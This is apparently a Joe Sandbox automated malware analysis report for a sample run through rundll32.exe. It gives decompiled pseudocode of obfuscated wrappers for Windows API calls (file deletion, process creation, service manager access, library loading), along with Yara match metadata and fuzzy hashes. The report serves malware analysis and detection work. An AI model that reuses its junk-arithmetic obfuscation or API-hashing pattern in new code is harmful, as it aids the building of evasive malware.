Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 8c266227b3abe2b759591ba9b775a43eab1fad3fbd471f069813da335311fd75
Instruction ID: ae8276b6876f5357c50f650584214137971e28de593e3cdb7c29343fae997712
Opcode Fuzzy Hash: 8c266227b3abe2b759591ba9b775a43eab1fad3fbd471f069813da335311fd75
Instruction Fuzzy Hash: 27F012762006529FD710DF65CC8C90B77EDEF84291327D856E84697152D770F856CF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5504 Parent PID: 4352 rundll32.exeCOMMON

Executed Functions

Function 006C52B9, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E006C52B9(WCHAR* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t47;
				struct HINSTANCE__* _t59;
				signed int _t61;
				signed int _t62;
				WCHAR* _t68;

				_push(_a12);
				_t68 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E006DFE29(_t47);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x68392e;
				_v16 = 0xf5950b;
				_v16 = _v16 ^ 0xb3325752;
				_v16 = _v16 ^ 0xe58473b2;
				_v16 = _v16 ^ 0x56462a2c;
				_v8 = 0x3988bb;
				_t61 = 0x3a;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0xf338;
				_v8 = _v8 << 5;
				_v8 = _v8 ^ 0x0035ea14;
				_v12 = 0xe53120;
				_v12 = _v12 ^ 0xa236e8c8;
				_t62 = 0x62;
				_v12 = _v12 / _t62;
				_v12 = _v12 ^ 0x01ab7b97;
				_v20 = 0x973198;
				_v20 = _v20 * 0x60;
				_v20 = _v20 ^ 0x38bce55b;
				E006CEB52(_t62, _t62, 0xeec842c3, 0xab, 0xa2289af1);
				_t59 = LoadLibraryW(_t68); // executed
				return _t59;
			}

0x006c52c0
0x006c52c3
0x006c52c5
0x006c52c8
0x006c52cc
0x006c52cd
0x006c52d2
0x006c52d9
0x006c52e2
0x006c52e9
0x006c52f0
0x006c52f7
0x006c52fe
0x006c530a
0x006c530f
0x006c5314
0x006c531b
0x006c531f
0x006c5326
0x006c532d
0x006c5337
0x006c533f
0x006c5342
0x006c5349
0x006c5360
0x006c5363
0x006c5376
0x006c537f
0x006c5385

APIs

LoadLibraryW.KERNEL32 ref: 006C537F

Strings

1, xrefs: 006C5326
,*FV, xrefs: 006C52F7
.9h, xrefs: 006C52D9

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: 1$,*FV$.9h
API String ID: 1029625771-1870595533
Opcode ID: 47e2a649f6d09089b8114036349e08445583c90553a88ce36019ef6e82d966d0
Instruction ID: 011269c6a7b870f1ab20bac1acaedef3fb3758a05cd96a0a2b72c0b1f1b42572
Opcode Fuzzy Hash: 47e2a649f6d09089b8114036349e08445583c90553a88ce36019ef6e82d966d0
Instruction Fuzzy Hash: D82153B6D01208FBEF08DFA8D94A9EEBBB5FB40304F108199E815A6251E3B55B14DF90

Uniqueness

Uniqueness Score: -1.00%

Function 006E1538, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E006E1538(void* __ecx, void* __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t59;
				int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t79;
				signed int _t80;

				_push(_a4);
				E006DFE29(_t59);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x73095a;
				_v28 = 0xd34a52;
				_v16 = 0xb3a153;
				_t77 = 0x73;
				_v16 = _v16 / _t77;
				_v16 = _v16 + 0x4fd2;
				_v16 = _v16 ^ 0xee3af97f;
				_v16 = _v16 ^ 0xee3510f4;
				_v20 = 0xee2064;
				_v20 = _v20 << 0xe;
				_v20 = _v20 ^ 0x88190a0a;
				_v12 = 0x72c7a5;
				_v12 = _v12 + 0x7839;
				_t78 = 0x77;
				_v12 = _v12 / _t78;
				_t79 = 0x76;
				_v12 = _v12 / _t79;
				_v12 = _v12 ^ 0x00040652;
				_v8 = 0x10c7fb;
				_t80 = 0x6c;
				_v8 = _v8 * 0x70;
				_v8 = _v8 << 8;
				_v8 = _v8 / _t80;
				_v8 = _v8 ^ 0x00c83f8f;
				E006CEB52(_t80, _t80, 0x2aa4bac1, 0x108, 0xa2289af1);
				_t75 = FindCloseChangeNotification(_a4); // executed
				return _t75;
			}

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APIs

FindCloseChangeNotification.KERNEL32(00040652), ref: 006E1615

Strings

Zs, xrefs: 006E154F
d , xrefs: 006E158A

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID: Zs$d
API String ID: 2591292051-3879001491
Opcode ID: 38bb643fa24bb4614003e7abf6af2ef3a1b5f649b6f440d52b37eb84a0984821
Instruction ID: 3304d531757b69fe196bd7e33685809e2cd2a4a8aedc5730d1a8560b7949681f
Opcode Fuzzy Hash: 38bb643fa24bb4614003e7abf6af2ef3a1b5f649b6f440d52b37eb84a0984821
Instruction Fuzzy Hash: 15212CB5D40209FBEB04DFA5D94A99DBBB2EB40314F10C09DE614B7250D7B95B548F84

Uniqueness

Uniqueness Score: -1.00%

Function 006CD061, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E006CD061(WCHAR* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t54;
				int _t63;
				signed int _t65;
				WCHAR* _t69;

				_push(_a12);
				_t69 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E006DFE29(_t54);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xa62646;
				_v32 = 0x27199b;
				_v20 = 0x942c55;
				_v20 = _v20 | 0xf0368afe;
				_v20 = _v20 << 0xa;
				_v20 = _v20 ^ 0xfbcaf84d;
				_v20 = _v20 ^ 0x217d6c33;
				_v16 = 0xf28622;
				_v16 = _v16 >> 0xe;
				_v16 = _v16 | 0xeb4a9877;
				_v16 = _v16 ^ 0x2aded5e4;
				_v16 = _v16 ^ 0xc19eb21f;
				_v12 = 0x4a5837;
				_v12 = _v12 ^ 0xa3e571b7;
				_v12 = _v12 + 0xffff6305;
				_t65 = 0x6e;
				_v12 = _v12 / _t65;
				_v12 = _v12 ^ 0x01794185;
				_v8 = 0xa209ee;
				_v8 = _v8 + 0x62d2;
				_v8 = _v8 ^ 0x3d892cf6;
				_v8 = _v8 | 0x5ca7d1ce;
				_v8 = _v8 ^ 0x7da8dabc;
				E006CEB52(_t65, _t65, 0x74c3d0b1, 0x1a1, 0xa2289af1);
				_t63 = DeleteFileW(_t69); // executed
				return _t63;
			}

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APIs

DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 006CD145

Strings

7XJ, xrefs: 006CD0D5
3l}!, xrefs: 006CD0AE

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: 3l}!$7XJ
API String ID: 4033686569-2205417827
Opcode ID: 10709235247fc134180b3dbd0d2fc7697fcbb658dcad94b6e8f128d82acf9f3f
Instruction ID: 10e8d7cfe491ebf81d2dfb8e6ee572f1761bc1f717f584e0e9ceda8d041ad84a
Opcode Fuzzy Hash: 10709235247fc134180b3dbd0d2fc7697fcbb658dcad94b6e8f128d82acf9f3f
Instruction Fuzzy Hash: C12145B5D01318AFDF18DFA4C98A9EEFBB0FF14304F108188E966A6210D7B85B558F91

Uniqueness

Uniqueness Score: -1.00%

Function 006E2C24, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
processCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E006E2C24(WCHAR* __ecx, void* __edx, intOrPtr _a12, intOrPtr _a20, int _a24, intOrPtr _a28, struct _STARTUPINFOW* _a32, intOrPtr _a40, intOrPtr _a44, WCHAR* _a52, struct _PROCESS_INFORMATION* _a56) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				struct _SECURITY_ATTRIBUTES* _v28;
				intOrPtr _v32;
				void* _t49;
				int _t56;
				WCHAR* _t60;

				_push(_a56);
				_t60 = __ecx;
				_push(_a52);
				_push(0);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(0);
				_push(_a12);
				_push(0);
				_push(0);
				_push(__ecx);
				E006DFE29(_t49);
				_v32 = 0x534833;
				_v28 = 0;
				_v24 = 0;
				_v8 = 0x70adbe;
				_v8 = _v8 >> 5;
				_v8 = _v8 << 0xa;
				_v8 = _v8 | 0x1d11c356;
				_v8 = _v8 ^ 0x1f145645;
				_v20 = 0xecea8a;
				_v20 = _v20 | 0x5baa72b8;
				_v20 = _v20 ^ 0x5be1d11d;
				_v16 = 0x76217f;
				_v16 = _v16 >> 0x10;
				_v16 = _v16 | 0xe98780dc;
				_v16 = _v16 ^ 0xe98c1e91;
				_v12 = 0xeb975;
				_v12 = _v12 ^ 0xd8138edb;
				_v12 = _v12 | 0x0b4171d5;
				_v12 = _v12 ^ 0xdb5d9300;
				E006CEB52(__ecx, __ecx, 0xb7160725, 0x75, 0xa2289af1);
				_t56 = CreateProcessW(_a52, _t60, 0, 0, _a24, 0, 0, 0, _a32, _a56); // executed
				return _t56;
			}

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APIs

CreateProcessW.KERNEL32(?,2E751909,00000000,00000000,00534833,00000000,00000000,00000000,?,?), ref: 006E2D02

Strings

3HS, xrefs: 006E2C57

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 3HS
API String ID: 963392458-330188696
Opcode ID: b0049691a906c617faab48a03f019d00495406e067b30e8a3afe4c22a13f3ee0
Instruction ID: b1d5a18f5813d1b8b2df4e4d38d7277fa417973b805aa5d9a647d3252041f7ec
Opcode Fuzzy Hash: b0049691a906c617faab48a03f019d00495406e067b30e8a3afe4c22a13f3ee0
Instruction Fuzzy Hash: AD21F372800248BBCF559F96DC0ACDFBFB9EF85704F108199F915A2220C3B58A24DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 006E45CA, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E006E45CA(WCHAR* __ecx, void* __edx, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, long _a24, intOrPtr _a28, intOrPtr _a32, long _a36, intOrPtr _a40, long _a44, long _a48) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t51;
				void* _t60;
				WCHAR* _t64;

				_push(_a48);
				_t64 = __ecx;
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(0);
				_push(__ecx);
				E006DFE29(_t51);
				_v28 = 0x204d4f;
				_v24 = 0;
				_v20 = 0xd27984;
				_v20 = _v20 | 0x43788b11;
				_v20 = _v20 ^ 0x43f3df42;
				_v16 = 0xf976f1;
				_v16 = _v16 + 0xffff3d74;
				_v16 = _v16 | 0xfc5c4419;
				_v16 = _v16 ^ 0xfcfdb6fc;
				_v12 = 0xb7df7c;
				_v12 = _v12 + 0xffff3658;
				_v12 = _v12 * 0x13;
				_v12 = _v12 ^ 0x1f30f970;
				_v12 = _v12 ^ 0x12ab006a;
				_v8 = 0x8ba8ca;
				_v8 = _v8 | 0x62aa166a;
				_v8 = _v8 + 0xa2f6;
				_v8 = _v8 * 0x55;
				_v8 = _v8 ^ 0xc33acf6c;
				E006CEB52(__ecx, __ecx, 0xbc17bbde, 0x19f, 0xa2289af1);
				_t60 = CreateFileW(_t64, _a24, _a48, 0, _a44, _a36, 0); // executed
				return _t60;
			}

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APIs

CreateFileW.KERNEL32(?,00000057,?,00000000,?,?,00000000), ref: 006E46B5

Strings

OM , xrefs: 006E45FD

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: OM
API String ID: 823142352-4198367855
Opcode ID: c9e2e688d9aa6a43dcdad6de9a4dd150b1ce22289e56966cf6fc1244f0671eef
Instruction ID: 8fab18b7e1ee6d8954e173310d076195c2758fc7d74de119d38806c3018d65a2
Opcode Fuzzy Hash: c9e2e688d9aa6a43dcdad6de9a4dd150b1ce22289e56966cf6fc1244f0671eef
Instruction Fuzzy Hash: F321E072801249BBCF05DFA9CD46CDEBFB5EF88304F508199F915A6220D3768A61AF90

Uniqueness

Uniqueness Score: -1.00%

Function 006E44FF, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E006E44FF(void* __ecx, void* __edx, intOrPtr _a8, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t47;
				intOrPtr* _t57;
				void* _t58;
				signed int _t60;
				signed int _t61;

				E006DFE29(_t47);
				_v20 = 0xa68a31;
				_t60 = 0x6d;
				_v20 = _v20 / _t60;
				_v20 = _v20 ^ 0x00000260;
				_v16 = 0xfa9629;
				_v16 = _v16 + 0x734b;
				_v16 = _v16 ^ 0x638d356d;
				_v16 = _v16 ^ 0x637ea9c8;
				_v8 = 0x3f26ab;
				_v8 = _v8 ^ 0xcdd207a4;
				_v8 = _v8 ^ 0xb6eb62c4;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 ^ 0x0005a548;
				_v12 = 0xe291fe;
				_t61 = 0x24;
				_v12 = _v12 / _t61;
				_v12 = _v12 + 0x3d74;
				_v12 = _v12 ^ 0x00095158;
				_t57 = E006CEB52(_t61, _t61, 0x418e972c, 0x54, 0xa2289af1);
				_t58 =  *_t57(_a24, 0, _a20, 0x28, __ecx, __edx, 0, _a8, 0x28, _a16, _a20, _a24); // executed
				return _t58;
			}

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APIs

SetFileInformationByHandle.KERNEL32(?,00000000,?,00000028), ref: 006E45C4

Strings

XQ, xrefs: 006E4596

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: FileHandleInformation
String ID: XQ
API String ID: 3935143524-1200779947
Opcode ID: 81dfb277e86e3c1fe3069d107eacbb6aa7e5857e87f0bf20d0672193a35411da
Instruction ID: 5ede7101353783e211e177aee6bb19a35f207ca6f25b63c659378633c9508656
Opcode Fuzzy Hash: 81dfb277e86e3c1fe3069d107eacbb6aa7e5857e87f0bf20d0672193a35411da
Instruction Fuzzy Hash: 50213871E40209FBEF54CFA5DD4AAAEBBB1EB54704F108189B910A6290D3B59A649F40

Uniqueness

Uniqueness Score: -1.00%

Function 006CEE62, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
serviceCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E006CEE62(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, int _a16, short* _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t34;
				void* _t41;
				void* _t44;

				_push(_a20);
				_t44 = __edx;
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E006DFE29(_t34);
				_v20 = 0xea751a;
				_v20 = _v20 | 0xe9b69993;
				_v20 = _v20 ^ 0xe9f29d6b;
				_v16 = 0x605393;
				_v16 = _v16 | 0xcc974431;
				_v16 = _v16 ^ 0xccf8b40a;
				_v12 = 0x102a1a;
				_v12 = _v12 + 0xcb09;
				_v12 = _v12 ^ 0x001131dd;
				_v8 = 0x570378;
				_v8 = _v8 >> 5;
				_v8 = _v8 ^ 0xef617e60;
				_v8 = _v8 ^ 0xef696bf9;
				E006CEB52(__ecx, __ecx, 0x5c98ffad, 5, 0x1f76e49f);
				_t41 = OpenServiceW(_t44, _a20, _a16); // executed
				return _t41;
			}

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APIs

OpenServiceW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 006CEF05

Strings

`~a, xrefs: 006CEECE

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: OpenService
String ID: `~a
API String ID: 3098006287-142445290
Opcode ID: 6383736253cef5703bc9a023e52ac128717e5205db758edbe98fcd92a09a10c3
Instruction ID: a7b49f9ed65a20bf0af8c8c4d271b113919470b0216e76e5505cdcf2f7e3a7b3
Opcode Fuzzy Hash: 6383736253cef5703bc9a023e52ac128717e5205db758edbe98fcd92a09a10c3
Instruction Fuzzy Hash: D611F275C01219FBCF48EFA5DD0A8DEBFB5EB04314F108588F92562261D3B68A20AF91

Uniqueness

Uniqueness Score: -1.00%

Function 006D648A, Relevance: 1.6, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E006D648A(long __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, void* _a12, long _a16) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t41;
				void* _t49;
				long _t52;

				_push(_a16);
				_t52 = __ecx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E006DFE29(_t41);
				_v12 = 0x3cd3f;
				_v12 = _v12 << 3;
				_v12 = _v12 | 0xc677f757;
				_v12 = _v12 >> 7;
				_v12 = _v12 ^ 0x0188bcff;
				_v20 = 0x40fc9e;
				_v20 = _v20 << 4;
				_v20 = _v20 ^ 0x040306b1;
				_v16 = 0x159e9f;
				_v16 = _v16 + 0xffffd0d5;
				_v16 = _v16 * 0x33;
				_v16 = _v16 ^ 0x04433238;
				_v8 = 0x8a430d;
				_v8 = _v8 + 0xffffdfbc;
				_v8 = _v8 | 0x5356d001;
				_v8 = _v8 + 0x638e;
				_v8 = _v8 ^ 0x53d0144a;
				E006CEB52(__ecx, __ecx, 0x958aafc8, 0x1c3, 0xa2289af1);
				_t49 = RtlAllocateHeap(_a12, _a16, _t52); // executed
				return _t49;
			}

0x006d6491
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0x006d64a6
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0x006d64b4
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0x006d64c6
0x006d64cd
0x006d64d1
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0x006d64fa
0x006d64fd
0x006d6504
0x006d650b
0x006d6512
0x006d6519
0x006d6520
0x006d6534
0x006d6543
0x006d6549

APIs

RtlAllocateHeap.NTDLL(040306B1,?,ED94606E,?,?,?,?,?,?,?,?,?,?,?), ref: 006D6543

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f41072fe55694ed81fb5a2d434f63a6d1651ccbd0ba08c91d6bc4f92d8fba8a5
Instruction ID: d7edcaef0f06cf8433bcc8eff0479fb21292bfed237c1a989880942fecbb62c6
Opcode Fuzzy Hash: f41072fe55694ed81fb5a2d434f63a6d1651ccbd0ba08c91d6bc4f92d8fba8a5
Instruction Fuzzy Hash: EA1103B2C0121DFBDF05DFA5D9098DEBBB4FB00314F108598E811A6250E3B59B149F91

Uniqueness

Uniqueness Score: -1.00%

Function 006DE8B6, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E006DE8B6(void* __ecx, void* __edx, intOrPtr _a4, int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				void* _t29;
				void* _t37;

				_push(_a16);
				_push(_a12);
				_push(0);
				_push(_a4);
				_push(0);
				E006DFE29(_t29);
				_v20 = 0xc8e76b;
				_v20 = _v20 | 0x270203a1;
				_v20 = _v20 ^ 0x27c97096;
				_v16 = 0x55aebc;
				_v16 = _v16 >> 2;
				_v16 = _v16 ^ 0x00171a80;
				_v12 = 0xfad6fe;
				_v12 = _v12 ^ 0xd14a4d1d;
				_v12 = _v12 ^ 0xd1b10da7;
				_v8 = 0x428060;
				_v8 = _v8 * 0x54;
				_v8 = _v8 ^ 0x15de1a76;
				E006CEB52(__ecx, __ecx, 0x3c0b385, 0x1bc, 0x1f76e49f);
				_t37 = OpenSCManagerW(0, 0, _a12); // executed
				return _t37;
			}

0x006de8bd
0x006de8c2
0x006de8c5
0x006de8c6
0x006de8ca
0x006de8cb
0x006de8d0
0x006de8da
0x006de8e1
0x006de8e8
0x006de8ef
0x006de8f3
0x006de8fa
0x006de901
0x006de908
0x006de90f
0x006de92a
0x006de92d
0x006de941
0x006de94e
0x006de954

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,27C97096,?,?,?,?,?,?,?,?,?,?,?), ref: 006DE94E

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 938ae55f57f10c9ec9f30609793a9938b44550d2e06b30d2dbdd077d207e708c
Instruction ID: 0954bd3e70bb04d4f6d37ab0b9a69cb5f249145ebe79c7815e8fa7ee315f08d7
Opcode Fuzzy Hash: 938ae55f57f10c9ec9f30609793a9938b44550d2e06b30d2dbdd077d207e708c
Instruction Fuzzy Hash: 3C11157190221DFB9B04EFA899468EEBFB4EB04308F108598E825A2211D3B18B149B95

Uniqueness

Uniqueness Score: -1.00%

Function 006DD11A, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E006DD11A() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t39;

				_v24 = _v24 & 0x00000000;
				_v36 = 0x78f5c7;
				_v32 = 0xa12bb9;
				_v28 = 0x4eca09;
				_v8 = 0x8b256f;
				_v8 = _v8 << 0xb;
				_v8 = _v8 ^ 0x4a7d0011;
				_v8 = _v8 >> 9;
				_v8 = _v8 ^ 0x00073d60;
				_v20 = 0x1e549a;
				_v20 = _v20 + 0xffffad33;
				_v20 = _v20 ^ 0x00134b4f;
				_v16 = 0x8dd9dd;
				_v16 = _v16 << 3;
				_v16 = _v16 ^ 0x0460bc3c;
				_v12 = 0x358059;
				_v12 = _v12 + 0xb97b;
				_v12 = _v12 ^ 0x003502df;
				E006CEB52(_t39, _t39, 0x83891850, 0x1c, 0xa2289af1);
				ExitProcess(0);
			}

0x006dd120
0x006dd124
0x006dd12b
0x006dd132
0x006dd139
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0x006dd14f
0x006dd156
0x006dd15d
0x006dd164
0x006dd16b
0x006dd172
0x006dd176
0x006dd17d
0x006dd184
0x006dd18b
0x006dd1ac
0x006dd1b6

APIs

ExitProcess.KERNEL32(00000000), ref: 006DD1B6

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction ID: afd5f95e457241e0b98a342b403ce0cd30c64ae9d1de93b7b5e2abc40f9895ae
Opcode Fuzzy Hash: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction Fuzzy Hash: 781112B1C4030CEBDB44DFE5DA4AAEEFBB0EB00708F108588D521B6240D3B89B489F90

Uniqueness

Uniqueness Score: -1.00%

Function 006E061D, Relevance: 1.3, APIs: 1, Instructions: 52
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E006E061D(signed int __ecx, WCHAR* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t44;
				int _t53;
				WCHAR* _t56;

				_push(_a12);
				_t56 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E006DFE29(_t44);
				_v24 = _v24 & 0x00000000;
				_v28 = 0xcd60b7;
				_v12 = 0x7257ab;
				_v12 = _v12 << 0xd;
				_v12 = _v12 + 0x8f69;
				_v12 = _v12 * 0x4c;
				_v12 = _v12 ^ 0x410f7a13;
				_v8 = 0x7b4696;
				_v8 = _v8 + 0xffff4950;
				_v8 = _v8 | 0x2a0f624b;
				_v8 = _v8 * 0x3a;
				_v8 = _v8 ^ 0xa0f3ec54;
				_v20 = 0x8a2161;
				_v20 = _v20 + 0xffff45ea;
				_v20 = _v20 ^ 0x1b6c7fa6;
				_v20 = _v20 ^ 0x1be8dede;
				_v16 = 0xdcc12a;
				_v16 = _v16 + 0xb9f4;
				_v16 = _v16 + 0xffffcfef;
				_v16 = _v16 ^ 0x00d9de04;
				E006CEB52(__ecx, __ecx, 0xb7861dce, 0x3e, 0xa2289af1);
				_t53 = lstrcmpiW(_a4, _t56); // executed
				return _t53;
			}

0x006e0624
0x006e0627
0x006e0629
0x006e062c
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0x006e0631
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0x006e06eb

APIs

lstrcmpiW.KERNEL32(410F7A13,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 006E06E5

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
